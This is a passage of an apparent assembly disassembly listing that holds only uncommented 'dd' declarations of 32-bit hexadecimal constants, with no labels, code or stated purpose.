dd 9EB9D23Bh, 118C02h, 0A1E47D22h, 4C4CFEADh, 6B89A91Fh
dd 42048D82h, 0C9A6E7D3h, 0B2229350h, 83F054BFh, 0A91841F4h
dd 8AC82153h, 9CA52CB3h, 0C7910EF1h, 8A721711h, 0D2788F7h
dd 876CBCFBh, 6783AAAFh, 0C5B75957h, 76299447h, 9388E08Ch
dd 0F120BEECh, 13B670A0h, 4B02BA4Dh, 0A5D20713h, 3E88574Ch
dd 1F0516C7h, 22C1CCACh, 7BA0D849h, 9E0DC559h, 62E515A1h
dd 818952D3h, 9DBA597Dh, 0A165C4DCh, 78E78905h, 0FA4E67C2h
dd 5BD955E5h, 76137B0Eh, 9F696832h, 289607F7h, 0ED259E4h
dd 24CA5E70h, 7215D4F5h, 8EC4AD7Dh, 3804E1B9h, 120B373Ch
dd 0AC461458h, 16C1896Ah, 9B5B94FCh, 4E51BED4h, 0FB83142Eh
dd 0C545614Eh, 744F2701h, 0D3F33A06h, 5C14DE3Eh, 9A3C5044h
dd 0CF6F037Fh, 0AB9B3141h, 59872D83h, 677472Eh, 0EA7C9697h
dd 46075DBFh, 5B7D09A1h, 6B57D7BEh, 434DB7B9h, 0BCB59348h
dd 1F9A93A5h, 0D971B443h, 0A5477FBCh, 75DF9CEBh, 9404F18Fh
dd 20BCB7C6h, 643E596Bh, 25C6D719h, 0B5EF2F62h, 5C740224h
dd 0FAD0EA3Fh, 0D2FB7E4Dh, 0BFD1CDC6h, 9308CB77h, 868568F3h
dd 48A02EFFh, 47BDC5DCh, 0BE73ABF5h, 73692058h, 0BA906B95h
dd 29DD8A62h, 4A97B16Bh, 254FA035h, 0A6645564h, 0D2E54D5h
dd 0B595005Fh, 1F5CDF53h, 0A21CDA2Fh, 6DACE52Bh, 9F5C36F1h
dd 328E3A37h, 5BCC9391h, 3F75B951h, 0AB27E303h, 25DB86A1h
dd 18140B5Ch, 0DD4E3EE2h, 0CCF6D652h, 423ED342h, 0B4016945h
dd 0EB5E4E9h, 0DC862AA9h, 4691D5A4h, 0EC69EDC8h, 0BF7C891Eh
dd 52842906h, 66D052Eh, 6A5A89D2h, 0DE1D24C6h, 0A2E1B865h
dd 99845152h, 91899D8Bh, 0AE88611Eh, 0E627C88Ch, 724CB9C9h
dd 0C7469296h, 0D4EC1910h, 405F026Fh, 2617E6CEh, 0DA7B5000h
dd 0D03A646Dh, 9BE8D765h, 61B1F573h, 0F8CC680Fh, 2434AACCh
dd 82B5908Dh, 0EA609297h, 7416CF8Ch, 74411CD3h, 8EA9F7A0h
dd 0A86F08CFh, 9E89E28Bh, 5ED759F9h, 0BAD18127h, 0D9069B22h
dd 0C1DA272h, 73E824h, 99C1955h, 0AECD21BAh, 15061104h
dd 6DA96A6Ch, 0A5A5CCDEh, 0A3B3C4DDh, 21340BE2h, 58987188h
dd 0D3CF4B58h, 2FC74C85h, 0F6D63769h, 89D98219h, 9AB7BD9h
dd 5706FF1Eh, 71564E2Dh, 89A36AC1h, 0A064A8B3h, 0C37BB030h
dd 0F7361416h, 0E076D4B7h, 0AC479517h, 145AA178h, 60C5F185h
dd 1E5A8FE9h, 7E7E0C3Ch, 0C9408E21h, 0F5C4246Ah, 9FEBD8CCh
dd 3AA7BD00h, 5AA396BDh, 5A608E19h, 8F422001h, 6B5BF93Ch
dd 4E0CDF22h, 1B315078h, 94006D0h, 0D9D0A0C8h, 0EA055630h
dd 16457E22h, 643D9DEDh, 0B0852957h, 0CD29C4BDh, 7A0E52E0h
dd 1F1E3967h, 57A46565h, 2E872BB1h, 65AA12D4h, 9DB3D0DFh
dd 1CBCA61Ah, 4431170Ah, 4F92D48Ch, 0C713BD7Dh, 86884158h
dd 27263424h, 6921AC3Ah, 31FD7154h, 3293F262h, 1BA22852h
dd 0D7CA581Eh, 9D43EBE5h, 67774444h, 4B58E55Dh, 13D5F99Eh
dd 0EA93B4BCh, 10DC24E9h, 0CB381802h, 0E7CA6DAAh, 1B8808C1h
dd 9FCD107Dh, 5C978DF8h, 1E6FBA67h, 65B77FA0h, 0D0816F58h
dd 75FF2D18h, 0EF8861A3h, 514A62CFh, 0E8F714CEh, 0A6CBD892h
dd 8D7F2C3Eh, 0E10782D0h, 626939F6h, 5C5CE962h, 7B94DD5h
dd 42EA6837h, 995605C8h, 24AFAECEh, 0E0A30150h, 8F312C85h
dd 744007B3h, 42CBD9A8h, 51F97325h, 0E659CFDEh, 229E0CDDh
dd 94430CA8h, 6477981Dh, 0AF90E7B0h, 0E64AB5C7h, 7C9ED5E0h
dd 23026922h, 0B42F6B39h, 856A7F2Dh, 0CABDBC6Bh, 136B12DDh
dd 3E160253h, 4237A052h, 2ACB4EFh, 0FFC1E428h, 87CBDACEh
dd 0BBEF8288h, 16A3B25Ch, 74F289E8h, 0BC84E944h, 0F57DFD0Dh
dd 6FF74EE9h, 96A8EE37h, 591CA5AFh, 418D704Bh, 0ED684D2Ah
dd 0FBDE61CDh, 0B0AD3868h, 8297C09Ah, 0E1931F0Fh, 0FDE2036Eh
dd 0BE0AD7BEh, 0A742C193h, 85A365EAh, 76C3718Ch, 5196778Dh
dd 60E241DDh, 6DF40ECh, 8320451Fh, 6746FC56h, 59C57B73h
dd 40E1C8E4h, 0FE6451ECh, 0D0E81925h, 309996FFh, 1F4E6985h
dd 3352A3B4h, 0CDEADFA4h, 75BD31E6h, 0D55E0A04h, 5C72083Dh
dd 5CDAAB7Dh, 8F0FC7B4h, 0C6331AEDh, 0E4A74EF5h, 19CF3935h
dd 0FCC7E166h, 0C8267D2Bh, 2FFE69Ah, 3B14057Bh, 2BC1CD21h
dd 73B290ECh, 4E0253B5h, 0E2C58658h, 8FAD427Fh, 0EDEFE797h
dd 36B65168h, 0D8B474A4h, 8328EFE9h, 0CA110C1Bh, 0D4D1AE42h
dd 0B152D2AAh, 55BFB0EBh, 0BFF88FC8h, 6185C0D2h, 5A300F01h
dd 24C7C742h, 4C0C6436h, 42F534CEh, 0B6507E64h, 0DBA3A0F7h
dd 0DF772881h, 0CEA243B0h, 31A3BED8h, 5129FC0Bh, 8EDFC3C0h
dd 865EEB67h, 0FF7D4A08h, 0F53D5355h, 92A86312h, 0E64A7FF2h
dd 0AFE2889Fh, 32524E3Bh, 94CBE426h, 34C8D72Dh, 645531BCh
dd 2AE6A2Fh, 0A3D24EDDh, 0AE209B84h, 0F3E0EABFh, 3CD040BAh
dd 71285979h, 0C7DEA2C6h, 6BD3CFDh, 0C2AFC797h, 0EF972A66h
dd 8A043BA6h, 0A69F93Eh, 11113F58h, 0F10DC25Ch, 3537FAD0h
dd 0F96F5BC5h, 0E5CA39DFh, 0FBF59DA9h, 357AAF4h, 0E7BA8DAFh
dd 1D95CFC4h, 6703AC01h, 4EB85610h, 0A60695DBh, 739E4D23h
dd 0CCA3701Eh, 8324EE9Ah, 4E16C0D7h, 0A68E1D4Eh, 0EF066C34h
dd 0F275FEAAh, 71A08343h, 0F3E94639h, 3A6E6714h, 644E7741h
dd 0E3145054h, 0BE0EA0E8h, 0E5E6B912h, 0F26AB0D4h, 3376844Dh
dd 14BD043Eh, 0A07C9176h, 54020FF9h, 0D53E997Ah, 0FDD3446h
dd 3F972B4Fh, 0D2CD63C3h, 6582E95Fh, 0FC32BF5Ch, 0F048B1BBh
dd 1C0ED814h, 7F339FA9h, 42977426h, 0CE3DC35Ch, 5263BC01h
dd 0DB62D3A6h, 25875A23h, 0EFD14C0Dh, 53C74D52h, 2B033AB6h
dd 0ED350ACBh, 9240B662h, 0DCA26201h, 0E112F937h, 89D009B9h
dd 0A2B26016h, 0D7627EDBh, 8E2BF5C6h, 4B57FFF1h, 0CFD620C4h
dd 0A0E83EAh, 82B23FE6h, 0D7B448C2h, 21720732h, 94E82393h
dd 28DF7A76h, 0CC9C4F2h, 7EA5A2F0h, 17FA5187h, 0BAA799A6h
dd 885E91CAh, 0E6E2DD81h, 0E5AAEA81h, 715AF617h, 8BF12EF2h
dd 14DC61FDh, 23E10D71h, 0B1DFF67Bh, 0FAB861F6h, 299D3B74h
dd 6B9B1DE3h, 0D6CACEh, 2A8334CCh, 6040AB9Fh, 0C1008F17h
dd 0AFAE097h, 4871B343h
dd 0CD542BBDh, 54CDC026h, 0F1C5A0Eh, 43070EA3h, 9EA25C0Fh
dd 4293AF72h, 62A55F3Eh, 2E4ECFDAh, 7FF68A3Ah, 0ADA1A14Dh
dd 0F50F4A24h, 0FAF1F583h, 2596517Bh, 55ED0D63h, 0C27664CBh
dd 5FBA8B58h, 411B7EC7h, 0ABA674C0h, 0B506BA88h, 134656EEh
dd 0F92EA322h, 1A3DABAEh, 75E498EBh, 0D4C1748Ah, 2D31D9BDh
dd 6DB90F3Ch, 0E9468D16h, 0E336ED64h, 0B4B3F3DAh, 0BE9988C5h
dd 0C2C9E9FAh, 7662E1BBh, 608F08F6h, 8CB2DB70h, 708C526Dh
dd 77589115h, 0DA2A4A01h, 1E4D6FEBh, 0CD92B478h, 0A9933014h
dd 0BB93D285h, 0C32CDF7Dh, 0F6B6F630h, 2449FBB0h, 0AEDB9107h
dd 13CCD72Ah, 7C110C31h, 0F0911DD2h, 0CF8CB85Fh, 18780ACCh
dd 63023595h, 0C1D726FDh, 93D24122h, 8ADBB702h, 849E3ABDh
dd 332FD8E2h, 48EB5BAEh, 0CDD02E3Bh, 7767A45Fh, 0FA76D7F1h
dd 0A91FF879h, 0B13FB7EDh, 43B02332h, 0DF3C18B1h, 0CA929329h
dd 0A19FAE75h, 0CD0F138Dh, 0FA44513Eh, 0A097AE72h, 4AB83FAFh
dd 71DE23DBh, 4A45B980h, 0EC542BA9h, 0A2A64BAh, 25D6CDCCh
dd 36A764DCh, 1F031A68h, 3C61CE10h, 0FE7E08FAh, 74A3C9FCh
dd 820DC35Fh, 0E03CB573h, 0A5613F8Fh, 202BDA3Ch, 298BCD93h
dd 17D240E5h, 0AC48CDF0h, 0E305FC36h, 86B6C402h, 0D295C2E7h
dd 249B288Dh, 0A087C34Dh, 98E42475h, 0D56A89FEh, 2AD56FA7h
dd 867F8631h, 0A31009Fh, 4556EF38h, 0C65586EDh, 49E62E00h
dd 5382164Eh, 0A4B7CEA0h, 0ACDF8791h, 22692AAAh, 0AA8D094Bh
dd 0DF3F114Ch, 0A8841C15h, 0B001E519h, 0C994DD99h, 5D9891E9h
dd 0B32E5F97h, 2DED3280h, 0A7EDC279h, 0E84C1BD8h, 0D6AF7C40h
dd 0CE7B3D89h, 0FE4FF181h, 0C847EB31h, 7BF17A30h, 84B8D96h
dd 0CF097E82h, 0D0FDC53Dh, 1900D8ACh, 863F6C37h, 4D1E7A13h
dd 73049FF7h, 44592535h, 9625E832h, 84B68567h, 92EEE779h
dd 756D6F34h, 0CA0F8E48h, 4E66AD49h, 0A2D6F107h, 5C7C84B9h
dd 6CB3585Ch, 0BD8A3FCDh, 0B37EDBA1h, 2AF06A65h, 9A73201Bh
dd 0F205B6EAh, 49B7961Fh, 31B5E569h, 0CB23FCC8h, 0D40A8944h
dd 0F16D7691h, 0DCDFB4C6h, 8023030Bh, 0B92A3397h, 3264ED43h
dd 0B9816481h, 5ABF1DE1h, 4487FC62h, 3DF7C559h, 3A515698h
dd 8C6A18FAh, 915D48D5h, 69562F51h, 0CCD941E3h, 5779ECB0h
dd 18FB6F5h, 1943F7EEh, 797BF457h, 7B5E111Ch, 0FFDA8698h
dd 58C0CB3Eh, 548BE26h, 0F7E8BF8Ah, 0D9248F7Fh, 0D63309Ch
dd 0E7866EFAh, 819FF44Bh, 0DC0D09E8h, 0A9F73C4Bh, 0B238C290h
dd 7BEE80DBh, 0CE70CBFDh, 0BBB65071h, 776711B2h, 87DAFAD2h
dd 38DCE33Ah, 42D066B4h, 0F9BC6F28h, 0DC036DFh, 0C6337EE9h
dd 0A97B14AEh, 5698AF38h, 0A674B61h, 332686F4h, 0CE077C98h
dd 3988A9B7h, 0B813E8D0h, 7394FA89h, 0E5AB3AB9h, 9678ED36h
dd 49B0EDF1h, 0ABED500Fh, 654D453Dh, 10A8A512h, 0A0016CE4h
dd 47C32EF5h, 0A142A2ABh, 6993F771h, 0C0379E25h, 208C8A7Ah
dd 1880B541h, 0E30B0AB3h, 8F3F4358h, 0FAE66116h, 762D5C64h
dd 0DCA8FD48h, 78DBF527h, 0E83CAD6h, 33CD20D2h, 7183FF7Ch
dd 9E561A27h, 9EBC59B5h, 495D1C54h, 1FAF087Dh, 7982A177h
dd 5E32841Ch, 4C665D0Ah, 76069A98h, 0A493A6D1h, 73C1CA43h
dd 0DC67E91h, 0A62031CAh, 7590E6D7h, 0F0ADA6AAh, 4030D344h
dd 3DCA087Bh, 0C92F6243h, 0D5DBF367h, 2CD235B6h, 33DCF513h
dd 0D7774246h, 0F6F61FE8h, 0A247028Fh, 207364E3h, 452E33A2h
dd 0CF1488DEh, 45DD9235h, 0E4424970h, 3E4470B8h, 5DEF5E56h
dd 0D50473Ah, 0E5C21FAEh, 14391869h, 97914C35h, 4FE05E9h
dd 24CB782h, 767CC78Dh, 0FA0559Ch, 10D8D422h, 0AB1191E3h
dd 951A1A1Fh, 98C9D5A7h, 41286080h, 987B4ADFh, 46D1A8BFh
dd 7E93A04Eh, 2698EA7Eh, 0BB27F0B7h, 5E222C9Eh, 29C72C64h
dd 8D571BFAh, 1627F095h, 4E26C4D1h, 0FB8516E6h, 0BC949F09h
dd 508F798Dh, 0A93C6C12h, 8DC9A401h, 227F6AC6h, 4F96480h
dd 0FCE5F0B6h, 16F18AD6h, 0C23F5D16h, 761AE9C9h, 749AB91h
dd 0EA74F8D6h, 2CA28BB3h, 227F4D16h, 0B5AEBC47h, 4B87282h
dd 535CB938h, 317D6EC6h, 0D848DC1Dh, 0D7F05F4h, 0A7873735h
dd 960B6148h, 0F65893EBh, 1C6F99A9h, 1F8F4B46h, 0AB29843Dh
dd 230433F1h, 31574B85h, 2138B93Ah, 5C0D7DC2h, 8E176ADh
dd 0E8CC7B1Ch, 0D427FC0Dh, 8B6E819Eh, 1872344Bh, 0CBFE663Fh
dd 3AFC9287h, 82294965h, 0A7E609B7h, 0DC28BD92h, 1D19D116h
dd 0F32D0775h, 797D05E5h, 0DA8E67D8h, 199B79B7h, 4E4658B5h
dd 313447BEh, 1DA2C13Ch, 7D154694h, 0D5F110C7h, 7A45BD7h
dd 69B965D0h, 0C0135A0h, 6E99B26Bh, 260D2E9Ah, 4946864Ah
dd 3680FCD2h, 3EA12580h, 9A2FF26Eh, 1BCCDA78h, 0AABFCF2Ch
dd 3304B033h, 40A0F789h, 7A8054D4h, 0B02CF348h, 88EC4B30h
dd 7203544Bh, 0F3F2559Bh, 4D2C980Bh, 5CC6347Dh, 0D44D7C2h
dd 141EEAC2h, 79104105h, 92FD7FE9h, 3275154Eh, 4F94412Bh
dd 441427B4h, 0B8EBE905h, 382CE05Ah, 9DA8E82Fh, 0FD581A23h
dd 0EC5B3961h, 70444CCCh, 8C9A2825h, 623F1AFAh, 0A416D54Ah
dd 4C04AF89h, 58D62F9Ah, 15FAD4F3h, 11C21415h, 0DECA8C3Fh
dd 3ECE9734h, 25431BE1h, 0E4F1309Dh, 0AD1BA051h, 4C08548Eh
dd 226706F0h, 0CF565C04h, 5FE5C55h, 0A9730FBBh, 0C2FA4655h
dd 0B7C36A70h, 48551836h, 0F0ECFA3Ch, 0B5BE9F78h, 0F90EBD32h
dd 145AFEA5h, 630CB925h, 35AA0179h, 1F9827Ah, 11C07BE5h
dd 7FC93A0Eh, 940DBC23h, 0A4823134h, 0E5AF48C3h, 3FE53306h
dd 2F8DFBB1h, 0B65FFB11h, 0B5F6AE31h, 9BD699F3h, 0EA881602h
dd 59AA927Dh, 0B3EA8C3Ah, 0C46AFF2Eh, 4A1C9F0Eh, 66F24413h
dd 4426EA11h, 0C1507907h, 3A91CEECh, 0DC9256E9h, 0F6108585h
dd 9A50DF4Fh, 804B05A9h, 0DA4551CCh, 7B106FA5h, 90B77151h
dd 44BA5047h, 58A1BA8Ah, 0BB922F2Eh, 2FA9BFC5h, 0EF6AEB0h
dd 22831976h, 914F18C9h, 39F39018h, 0CC126A4Ah, 0A647C271h
dd 0C2B8B914h, 0E19EF0D6h, 2CBCFB3Bh, 45305D84h, 17AFF68h
dd 0C1B4FC9Fh, 0F5BF4002h, 38CDF606h, 8D62A0Eh, 22D6E12Fh
dd 98D52F2h, 8F40644Dh, 5B2D863h, 1AE756AAh, 37764E83h
dd 0DF736F6Fh, 0FBBF236Eh, 60B8B506h, 83097BFFh, 0B4B490ABh
dd 0F91215ABh, 65A89F08h, 33FA2F7Ah, 4A89C8D1h, 0B0766E63h
dd 854078E0h, 5BD4C02h, 55FC561Ah, 5E7EF9BAh, 0DCCE3462h
dd 783B0A78h, 0DD62E6A9h, 5093BF41h, 90E6E0DEh, 0CE50340Bh
dd 40A291A0h, 43C4F19Dh, 0B2AB5F83h, 0ACD42B3h, 633197CFh
dd 6467658Fh, 7A50D52h, 7F38E561h, 445678E3h, 0FC381C7h
dd 30946C2Dh, 221843D3h, 5E3CDE19h, 0B554DC91h, 0E104D746h
dd 6701B285h, 0C7C8D20Fh, 8A6C42B1h, 3341F27Ah, 6E9FD8BCh
dd 0A24CFA84h, 485FA207h, 50087611h, 63721D81h, 5F27554Bh
dd 21A59C16h, 930A1726h, 0E46D002Ah, 9372C35Fh, 7F214AEFh
dd 0E0D4E979h, 0B54E9E6h, 0BB16B33Ah, 646E2FA5h, 511F15A8h
dd 557A52B1h, 2C6B215Ah, 0E9150F58h, 7944C183h, 6A229E78h
dd 3A866947h, 5488257Eh, 1C9786C6h, 8E369AB0h, 0D8EE5DEDh
dd 37BA28EFh, 12E9848Dh, 0EC7EF0DAh, 3DEF77F5h, 0E2F3B940h
dd 86A2DC57h, 52322B71h, 0FFF5212Fh, 0A96B4757h, 6E127B55h
dd 924255B5h, 0A1F5C911h, 803B604Dh, 0A954D85Dh, 0DB41A1A7h
dd 7600F45Ch, 234FE0D1h
dd 0EB3F2F84h, 0A2AC60EFh, 0DED36EB3h, 6C6F7C0h, 0A2AB995Ah
dd 57E94DD3h, 0B5AF19C3h, 0A652CFA9h, 33609215h, 0E8067EF6h
dd 0B405128Ch, 0F3E0E9E7h, 8DAE8394h, 0BC78A95Eh, 59DCA3ADh
dd 3A626A77h, 93472C9Dh, 903E7670h, 56D3CF6Ch, 7EABAF0Eh
dd 0D97759D9h, 71F133C7h, 0B059129h, 65E2E72Ch, 0A40283F3h
dd 0B1F1DAD3h, 53573805h, 8436E9Dh, 4212C76h, 0B6ADA29Eh
dd 524ED363h, 5EC8D344h, 39343B1Bh, 762C8B16h, 8F381552h
dd 0EBC6E2DEh, 0F2C26BA4h, 0F4E4639Eh, 0EE6908EDh, 7BB3CF98h
dd 0F1C9B52Ch, 0C63EC3FDh, 0D7147827h, 63E15F5h, 176C9F92h
dd 8BD61E22h, 4EB0029Ch, 923744ADh, 303274A4h, 29D628D2h
dd 2CB1165Ah, 0E4364CF0h, 5243435Fh, 14C25707h, 0FB604921h
dd 2589AC42h, 98A390F4h, 98ABCC78h, 8815B2D0h, 0EB4A4754h
dd 35BA709Eh, 47587871h, 0F7628106h, 9FFBCBE1h, 2BFC391Dh
dd 0D90BF8E8h, 821EA7BAh, 94463402h, 0E7C9FCC6h, 24F76544h
dd 0D64CDB8Ah, 1A4E7FABh, 0C11B1F2Ah, 56D4FD72h, 0FE091399h
dd 0BEBB94CFh, 1B7A69A9h, 0F9501AD4h, 2DBEC266h, 0E68AD207h
dd 0B1055A6Eh, 191C77AEh, 673C515Ch, 0CCE1B787h, 26E0780Ah
dd 8571B5FBh, 0AB551930h, 116DFD05h, 0C4334F32h, 0AF3B0AB4h
dd 61177E09h, 9A3EA320h, 0BA985BD3h, 0C29DB56Eh, 494BCE90h
dd 6B97EE16h, 0F69B0D3Fh, 0BB83D089h, 5E374A39h, 889E0F9Eh
dd 74AA06C1h, 3399FA2Bh, 4E63B618h, 0FFF86BB6h, 8182399Eh
dd 500069F5h, 5C63F20Fh, 1E9B3D85h, 1D07303Eh, 8B697720h
dd 807DA6AEh, 0D301469Ch, 7CB9EE83h, 0F98B48C9h, 34600832h
dd 0F857CCC8h, 0B92931CEh, 4FDA63B0h, 1D5C88F9h, 0F7BDD63Ch
dd 24D86BB8h, 10C882FFh, 4FBDED3Ch, 0CAC2A344h, 0B6F5EAECh
dd 3721BA0Dh, 679AEC03h, 0EE0ACDE1h, 0EC51BA0Ch, 6CC07551h
dd 0B674BF3Dh, 7271F267h, 0F07A5D73h, 43D0A9BEh, 12C604FDh
dd 0A3BC71F5h, 0A86BEF4Dh, 0C2859125h, 11B841D0h, 0EEBCDA0Dh
dd 658B8401h, 0E123C2AFh, 9E913D1h, 0D71F3995h, 745A88CEh
dd 0E411E547h, 0E9F9B795h, 19AAEF8Dh, 0D29405B7h, 5E2642C1h
dd 6C927712h, 9DFA5E0h, 7D9439ECh, 961990Fh, 0A77A1ED7h
dd 0EA8B031Ch, 3148B371h, 0A12E91D0h, 886A36C2h, 51F696B8h
dd 2B4DADD5h, 0C24C622h, 0F63A7B4Eh, 2EC50BE9h, 0AECA3F88h
dd 0E741D0D2h, 0AB9182Ah, 0D7C36948h, 76443767h, 0B58C9919h
dd 64DA4938h, 0D56B0103h, 0DF4B3C3Ah, 21D3BE69h, 0B33B4063h
dd 46256B84h, 7033B1E6h, 5B38BC6h, 0B1DBAC72h, 3A1A3415h
dd 22D53F7Bh, 729A4A6Fh, 940E0695h, 7942BF43h, 0E2E82EEFh
dd 7C476551h, 17B9AA41h, 83C0AE4Dh, 2965D269h, 0E566A47Ah
dd 61753FD4h, 0E30CAD4Eh, 747D523Ah, 0CF75D763h, 0D5F55BFDh
dd 34B47FCDh, 0D3CECAF4h, 0FD0E254h, 5A6CF100h, 0C716A678h
dd 5B6183C3h, 2C1A71Fh, 6B365F51h, 0E08C666Bh, 0B4829717h
dd 4B3D5CB7h, 0A5C1B447h, 4B505765h, 6D2DBD0Bh, 12D82E6h
dd 0FE0E51A7h, 1761B1C4h, 39652406h, 0EDE2FE6Fh, 74101CE0h
dd 1C8C1804h, 9C2EC8BEh, 0BB6FF022h, 3832BDB0h, 0A4920B8Ah
dd 0C0F627A2h, 0DB7816A4h, 36D029C5h, 3F1BD0ACh, 3FD14B8Ah
dd 5AD8FA4Ah, 0B47D52ECh, 0E2255C89h, 84938CA8h, 0C699F455h
dd 77500047h, 0FF2B8A6Eh, 246191BDh, 0EF675895h, 0C2D7F188h
dd 8DF5C5C4h, 652F66AFh, 590B15F7h, 9283DB05h, 211341D6h
dd 0E2DD5BEEh, 0A0AB26EEh, 7A89342Ah, 1026960Dh, 861F6077h
dd 2C766DFDh, 0B44B5EF7h, 0DD24E7F5h, 2431C53Eh, 502CB8D4h
dd 0D999D0EFh, 878B8E73h, 0DB84E295h, 5FB50908h, 8BF773D6h
dd 326EC776h, 69C97A38h, 4B6F6E42h, 0DF0A459Eh, 1D33DF17h
dd 0E7D544E9h, 0F5016BA8h, 6830942Bh, 0F1B8732Bh, 379B0CF7h
dd 0ADB78EEh, 8489560Ch, 48BEB1C2h, 0CE42E106h, 7ED09D85h
dd 5C089334h, 231BA229h, 329214C0h, 1F86CB84h, 0AA98B71Bh
dd 71E4C8B4h, 5E4F97B7h, 0FADFD959h, 1358C8CDh, 0EAEC852Fh
dd 56C7F4B3h, 0B37605E0h, 0D945A17Dh, 32E0DC7Ch, 514923E0h
dd 34BDDC18h, 2F856F5Fh, 0C779247Bh, 1AA12CAh, 0B6232D64h
dd 0E04FBE6Bh, 46FD21B4h, 37448DB5h, 0F7D3C3ACh, 28DF5C7Eh
dd 0C1F24FAEh, 0AECAB585h, 52B0CDDh, 0AA65A9ADh, 91FD95C8h
dd 0B886E5E9h, 0BE8E7BC9h, 3900D41Ah, 58900396h, 7F8C667Ah
dd 35E621F9h, 0C3035D65h, 46A02841h, 49B8936h, 0B5B603BAh
dd 0E7BC67DDh, 3221BAA6h, 221AE01Fh, 0DC3A2736h, 80D1C366h
dd 3982C315h, 15B0D97h, 0A89A9EFEh, 9ADED830h, 1410A1EDh
dd 88856ACFh, 0F226BB6Bh, 64EC131h, 0CFB0457Dh, 0DE42DB4Eh
dd 0B93A2F33h, 0C355B3A9h, 4207579Fh, 8197D90Ah, 83C1788Eh
dd 1E257F9Fh, 0DF8FA370h, 33E8469Eh, 320F362Fh, 0F5D6F74Eh
dd 0B63F06FEh, 16209F2Fh, 5C195C8Fh, 0C6CF098Ah, 68E5DC5Bh
dd 969E12Bh, 0E4B7536Ch, 16DBCE1Eh, 0E5A80311h, 51A20490h
dd 0DCF48017h, 874F9782h, 0A3A87AE3h, 0FE3F76C2h, 12A8BEDh
dd 0B9F5B8F2h, 533F0417h, 53A1EDBDh, 64FC8458h, 10559E23h
dd 746F9951h, 7265E180h, 16E13F77h, 0B4A9442Bh, 9A0A2489h
dd 2D558844h, 73B79307h, 0A7D5E04Ah, 47D6B38Fh, 0C00BA776h
dd 383AABDCh, 1A32A720h, 0D396D2EEh, 8BB97D87h, 5F131376h
dd 0B26CE273h, 0ABC6A4C0h, 63D96453h, 9D65EDB0h, 0C6A42FBBh
dd 38E3CABh, 96FE706Fh, 8D6FDC73h, 91B3E61Eh, 0D3381D92h
dd 726A9CE6h, 3895F744h, 578987B1h, 3B26784Fh, 24993CC0h
dd 6283BC92h, 0B96D1421h, 9A7B608Eh, 239ABD4h, 0C9166182h
dd 62525036h, 0A43044B9h, 59D85B41h, 40D0C0BBh, 63901C16h
dd 3D76CAA3h, 3B4A885Bh, 7ADBF404h, 468F4B90h, 516F1478h
dd 0DA398AD6h, 4B64BBCAh, 9FAFB1DFh, 0B2B82763h, 66D1E7A9h
dd 233D407h, 427269E5h, 0AEA37194h, 4098F7BEh, 1E9595EEh
dd 0A5FE2DB8h, 0C61793D2h, 0F0DEDC6Dh, 854CAAEh, 0D46AF4E8h
dd 316E6C23h, 0AEC4E3EFh, 0C5D71CDCh, 5F9622E0h, 6CAAF125h
dd 0DB700457h, 8405FBE7h, 24C26025h, 0E6C9AC53h, 0B7D0AB91h
dd 2725FEF2h, 42886B4h, 0F7108527h, 754E2211h, 0D7D94749h
dd 0B3D272BAh, 0DBAC6D6Ch, 0BE011DEh, 0D7BDB50Bh, 0A62D345Fh
dd 0E65C1347h, 3BF27F64h, 0DB65ED71h, 0C7C62B7h, 0D3A493A7h
dd 9AD44F1Ch, 0A2C9D401h, 0B981C137h, 0CFE5AEEFh, 0ECAC2EE2h
dd 806A0F1h, 6F7E7821h, 5F2572C4h, 0CF0E2643h, 26944AF0h
dd 0BEADD27Dh, 18913484h, 2FE545E4h, 0EFBC99A0h, 5CAA73BDh
dd 0DFF4A2A6h, 80AE4EC4h, 0BE213575h, 2FF26945h, 2E778D03h
dd 58928FE8h, 0D863C181h, 0A27CE116h, 51A90C7Bh, 0A45BE76Eh
dd 0D2BAD244h, 67F3A04Bh, 70ACCBE6h, 5BADB9EEh, 4D0255A8h
dd 907AD588h, 0D7B435Ah, 0D36B9E83h, 30C92C39h, 0CF56B5F1h
dd 51B86A3Dh, 41A1F8BCh, 5709520Eh, 3F1BECB3h, 0DA30D070h
dd 1FE31858h, 7E2F94F1h, 16FA59EFh, 54E8304Dh, 47D7D328h
dd 3B75BF6Dh, 39C42E3Ah, 225444BCh, 4A852299h, 0C0C2F666h
dd 60DEA1A1h, 9B101D4Dh, 570469D9h, 0D27EEDA9h, 0AB82836Ah
dd 0A7689DB4h, 446F4478h, 0AF7FC8C2h, 9C65B727h, 82E7BAB5h
dd 0E17276A0h, 212EB0C8h, 519B09D4h, 82EFF451h, 2C413465h
dd 0EE2CB031h, 53C0AF1Eh, 5FC3CA00h, 0ED5F19DAh, 3B26AE71h
dd 0DEFF1D1Ch, 0F403BF69h
dd 0EC28C22Dh, 74045685h, 6F9E870Dh, 0EE0069F3h, 61C55F83h
dd 5F6942CBh, 0DCD586F1h, 6D219937h, 7F173FF1h, 532B1C6Fh
dd 0EA88696Eh, 85F63989h, 50744260h, 0FF352197h, 0A279ECC6h
dd 72836F1Ah, 0CE4CC200h, 0C32857BAh, 0ADEE4336h, 0DAA9085Ch
dd 0CB33BDD7h, 55CFD584h, 52E5452Dh, 90D70FC2h, 163E8F8Ch
dd 0E013CCCBh, 0EE598A05h, 0E7ED16A3h, 0CA0EDAEEh, 0F72E7EEEh
dd 0CE325C50h, 0BB59F57Dh, 8F665D8h, 36CEF041h, 0DDAD036Ah
dd 0A13C9647h, 0D2494E03h, 0AACA3776h, 0C9701021h, 857823B4h
dd 0EB43AA11h, 2770B195h, 3CEE5BDh, 0A7C2D7F0h, 112229C0h
dd 0B32CF446h, 0EE74137Bh, 0CCB74C7Ch, 377D28BBh, 78DA4CAAh
dd 468C4165h, 28328708h, 63AE748Ah, 687F2FC5h, 365E914Dh
dd 806EC2DDh, 0B48A5682h, 284A44Ch, 74BC8DBDh, 748CD185h
dd 8A5B9B7Dh, 6CB0F87Eh, 79444D46h, 795ED234h, 0B968FC4Bh
dd 217FB8FAh, 38FAD708h, 0C68AB2DDh, 0D06A368h, 88515A84h
dd 4CC52356h, 23CF2B20h, 690E49A9h, 2439B8CFh, 687F4448h
dd 2F8AA3B2h, 0A7ADB986h, 3BB8322Dh, 3467E37Fh, 8EA5FD1Fh
dd 6E0F2462h, 0DC5A394Eh, 1DB271FEh, 7AA78D4Fh, 0BCC4549Ah
dd 0C39B68D4h, 0C9B2357Bh, 0CE237C82h, 4AAE480h, 90DB67ADh
dd 0E17DB7B5h, 0BB1502C9h, 0F9822B57h, 0F2478AF7h, 1379C141h
dd 7E8E6B44h, 0C3FD24A1h, 783068A3h, 0A43E996Ah, 66E56802h
dd 0C00152D1h, 491FBEF6h, 769F477h, 0A86033B2h, 205212CDh
